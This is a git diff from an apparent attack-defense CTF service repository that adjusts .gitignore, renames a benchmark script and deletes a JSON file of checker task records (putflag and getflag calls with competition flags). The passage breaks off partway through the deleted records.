diff --git a/.gitignore b/.gitignore
index a6a0ddf..7aee2ed 100644
--- a/.gitignore
+++ b/.gitignore
@@ -5,5 +5,6 @@
checker/data
service/data
-documentation/crc/crc.sage.py
+documentation/crc.sage.py
+documentation/tex/target
diff --git a/documentation/benchmark/main.py b/documentation/benchmark.py
similarity index 100%
rename from documentation/benchmark/main.py
rename to documentation/benchmark.py
diff --git a/documentation/benchmark/wireshark.json b/documentation/benchmark/wireshark.json
deleted file mode 100644
index 42ccebc..0000000
--- a/documentation/benchmark/wireshark.json
+++ /dev/null
@@ -1,3946 +0,0 @@
-[
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 1,
- "flag": "ENOydgyVJwwzZDlC+UHv74kM1UtFyqDMtIDLu9Svl7pPVYmXtQX",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 1,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r1_t0_i0",
- "taskId": 1,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 1,
- "flag": "ENOydgyVJwwzZDlC+UHv74kM1UtFyqDMtIDLu9Svl7pPVYmXtQX",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 1,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r1_t0_i0",
- "taskId": 1,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 2,
- "flag": "\ud83e\udd7aRfziG7rtnzY1xD9LHMW2TiudgZuIE2E2U2I2UfDoWcML8L2H\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 2,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r2_t0_i0",
- "taskId": 2,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 2,
- "flag": "\ud83e\udd7aRfziG7rtnzY1xD9LHMW2TiudgZuIE2E2U2I2UfDoWcML8L2H\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 2,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r2_t0_i0",
- "taskId": 2,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 3,
- "flag": "ENOe5t6r42Mx9RRipa41WaWMWt8qhE8pKycroc4rIEM8JJ0n5uD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 3,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r3_t0_i1",
- "taskId": 3,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 3,
- "flag": "ENOe5t6r42Mx9RRipa41WaWMWt8qhE8pKycroc4rIEM8JJ0n5uD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 3,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r3_t0_i1",
- "taskId": 3,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 4,
- "flag": "\ud83e\udd7aLA3Q2LcwZMsGphAxKaqAitQ03iCvBGMJ56C9gVAPDpIU7zAA\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 4,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r4_t0_i1",
- "taskId": 4,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 4,
- "flag": "\ud83e\udd7aLA3Q2LcwZMsGphAxKaqAitQ03iCvBGMJ56C9gVAPDpIU7zAA\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 4,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r4_t0_i1",
- "taskId": 4,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 5,
- "flag": "ENOdlzQqGVhdZ5dHPGZye5wvTxroayInHI1gRVKyZ+23IYFCy7G",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 5,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r5_t0_i2",
- "taskId": 5,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 5,
- "flag": "ENOdlzQqGVhdZ5dHPGZye5wvTxroayInHI1gRVKyZ+23IYFCy7G",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 5,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r5_t0_i2",
- "taskId": 5,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 6,
- "flag": "\ud83e\udd7a8bmyO0QGGOOXF0tIJz6oRf5FLS3kIQ2uH4/4kZZgMN8ACJ1Z\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 6,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r6_t0_i2",
- "taskId": 6,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 6,
- "flag": "\ud83e\udd7a8bmyO0QGGOOXF0tIJz6oRf5FLS3kIQ2uH4/4kZZgMN8ACJ1Z\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 6,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r6_t0_i2",
- "taskId": 6,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 7,
- "flag": "ENOFwCjrK3+hhxK2RekinC90uWA+Zt1dE4HTFIHQ6MPhesBpZ8Z",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 7,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r7_t0_i3",
- "taskId": 7,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 7,
- "flag": "ENOFwCjrK3+hhxK2RekinC90uWA+Zt1dE4HTFIHQ6MPhesBpZ8Z",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 7,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r7_t0_i3",
- "taskId": 7,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 8,
- "flag": "\ud83e\udd7aF+3pcsPcs5TJCpai7LMjuwaagn2DtD/U1u3fKUTEPznH6kSt\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 8,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r8_t0_i3",
- "taskId": 8,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 8,
- "flag": "\ud83e\udd7aF+3pcsPcs5TJCpai7LMjuwaagn2DtD/U1u3fKUTEPznH6kSt\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 8,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r8_t0_i3",
- "taskId": 8,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 9,
- "flag": "ENOjszKApB1OHi+fKCRezUnn0AZglsN5wqyFbVR6QktVppxU6Cf",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 9,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r9_t0_i2",
- "taskId": 9,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 9,
- "flag": "ENOjszKApB1OHi+fKCRezUnn0AZglsN5wqyFbVR6QktVppxU6Cf",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 9,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r9_t0_i2",
- "taskId": 9,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 10,
- "flag": "\ud83e\udd7aMIKxLfQMQljPFMDL+W3Mb+w+MOPUpvTviX9SH7wU9pjrpp7h\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 10,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r10_t0_i2",
- "taskId": 10,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 10,
- "flag": "\ud83e\udd7aMIKxLfQMQljPFMDL+W3Mb+w+MOPUpvTviX9SH7wU9pjrpp7h\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 10,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r10_t0_i2",
- "taskId": 10,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 11,
- "flag": "ENORleYlLk4Fk5p2k6HOR0KZrEWoaYfZbc12KLM2S3k2sUUaVtW",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 11,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r11_t0_i0",
- "taskId": 11,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 11,
- "flag": "ENORleYlLk4Fk5p2k6HOR0KZrEWoaYfZbc12KLM2S3k2sUUaVtW",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 11,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r11_t0_i0",
- "taskId": 11,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 11,
- "flag": "ENORleYlLk4Fk5p2k6HOR0KZrEWoaYfZbc12KLM2S3k2sUUaVtW",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 11,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r11_t0_i0",
- "taskId": 11,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 11,
- "flag": "ENORleYlLk4Fk5p2k6HOR0KZrEWoaYfZbc12KLM2S3k2sUUaVtW",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 11,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r11_t0_i0",
- "taskId": 11,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 12,
- "flag": "\ud83e\udd7aIeoYvsPTHt2LEs8iURQ02GYHCChElQ9MYuqk8sHCbs7FuiVK\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 12,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r12_t0_i0",
- "taskId": 12,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 12,
- "flag": "\ud83e\udd7aIeoYvsPTHt2LEs8iURQ02GYHCChElQ9MYuqk8sHCbs7FuiVK\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 12,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r12_t0_i0",
- "taskId": 12,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 12,
- "flag": "\ud83e\udd7aIeoYvsPTHt2LEs8iURQ02GYHCChElQ9MYuqk8sHCbs7FuiVK\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 12,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r12_t0_i0",
- "taskId": 12,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 12,
- "flag": "\ud83e\udd7aIeoYvsPTHt2LEs8iURQ02GYHCChElQ9MYuqk8sHCbs7FuiVK\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 12,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r12_t0_i0",
- "taskId": 12,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 13,
- "flag": "ENOhIX73cLsW7LTLYf79qlETZYq0p0EvsOzcedQTPWo//NDf4oE",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 13,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r13_t0_i1",
- "taskId": 13,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 13,
- "flag": "ENOhIX73cLsW7LTLYf79qlETZYq0p0EvsOzcedQTPWo//NDf4oE",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 13,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r13_t0_i1",
- "taskId": 13,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 13,
- "flag": "ENOhIX73cLsW7LTLYf79qlETZYq0p0EvsOzcedQTPWo//NDf4oE",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 13,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r13_t0_i1",
- "taskId": 13,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 13,
- "flag": "ENOhIX73cLsW7LTLYf79qlETZYq0p0EvsOzcedQTPWo//NDf4oE",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 13,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r13_t0_i1",
- "taskId": 13,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 14,
- "flag": "\ud83e\udd7aoeTsRUWRP84r6DwMONN+xIoPubfW+cw6Kp53DYbsl3NeJSYh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 14,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r14_t0_i1",
- "taskId": 14,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 14,
- "flag": "\ud83e\udd7aoeTsRUWRP84r6DwMONN+xIoPubfW+cw6Kp53DYbsl3NeJSYh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 14,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r14_t0_i1",
- "taskId": 14,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 14,
- "flag": "\ud83e\udd7aoeTsRUWRP84r6DwMONN+xIoPubfW+cw6Kp53DYbsl3NeJSYh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 14,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r14_t0_i1",
- "taskId": 14,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 14,
- "flag": "\ud83e\udd7aoeTsRUWRP84r6DwMONN+xIoPubfW+cw6Kp53DYbsl3NeJSYh\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 14,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r14_t0_i1",
- "taskId": 14,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOmxRztPmCLQ5NsA+jClj9199SehWut/d+uBcAdkq9OjAX8+hO",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i0",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOmxRztPmCLQ5NsA+jClj9199SehWut/d+uBcAdkq9OjAX8+hO",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i0",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOFuhr86CPdyMXaWajO2NHHCWa2TrsqUXXxDvAnyNfyVoRvQQD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i2",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOFuhr86CPdyMXaWajO2NHHCWa2TrsqUXXxDvAnyNfyVoRvQQD",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i2",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOmxRztPmCLQ5NsA+jClj9199SehWut/d+uBcAdkq9OjAX8+hO",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i0",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 15,
- "flag": "ENOmxRztPmCLQ5NsA+jClj9199SehWut/d+uBcAdkq9OjAX8+hO",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 15,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r15_t0_i0",
- "taskId": 15,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7aRMUqI5YTEPUf5I9/RRnBBsPTFnN/zLdHxmWiKLNlKia+54AD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i0",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7aRMUqI5YTEPUf5I9/RRnBBsPTFnN/zLdHxmWiKLNlKia+54AD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i0",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7azpGrQ4u/UAWeKrSSk1GFJzHgWTUG+KB/kBjCKKSCXzFChzhn\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i2",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7azpGrQ4u/UAWeKrSSk1GFJzHgWTUG+KB/kBjCKKSCXzFChzhn\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i2",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7aRMUqI5YTEPUf5I9/RRnBBsPTFnN/zLdHxmWiKLNlKia+54AD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i0",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 16,
- "flag": "\ud83e\udd7aRMUqI5YTEPUf5I9/RRnBBsPTFnN/zLdHxmWiKLNlKia+54AD\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 16,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r16_t0_i0",
- "taskId": 16,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENOWqXFS+GAkqWKHTJcgYmm6DXTuFTDNdeMifnkvHQsgEFpZKFw",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i1",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENOWqXFS+GAkqWKHTJcgYmm6DXTuFTDNdeMifnkvHQsgEFpZKFw",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i1",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENO3LVpyCpm1Nh5Y4iEBjA9oS3RGPEuS93xAJ0kYYvv9q9nziM2",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i3",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENO3LVpyCpm1Nh5Y4iEBjA9oS3RGPEuS93xAJ0kYYvv9q9nziM2",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i3",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENOWqXFS+GAkqWKHTJcgYmm6DXTuFTDNdeMifnkvHQsgEFpZKFw",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r17_t0_i1",
- "taskId": 17,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 17,
- "flag": "ENOWqXFS+GAkqWKHTJcgYmm6DXTuFTDNdeMifnkvHQsgEFpZKFw",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 17,
- "roundLength": 60000,
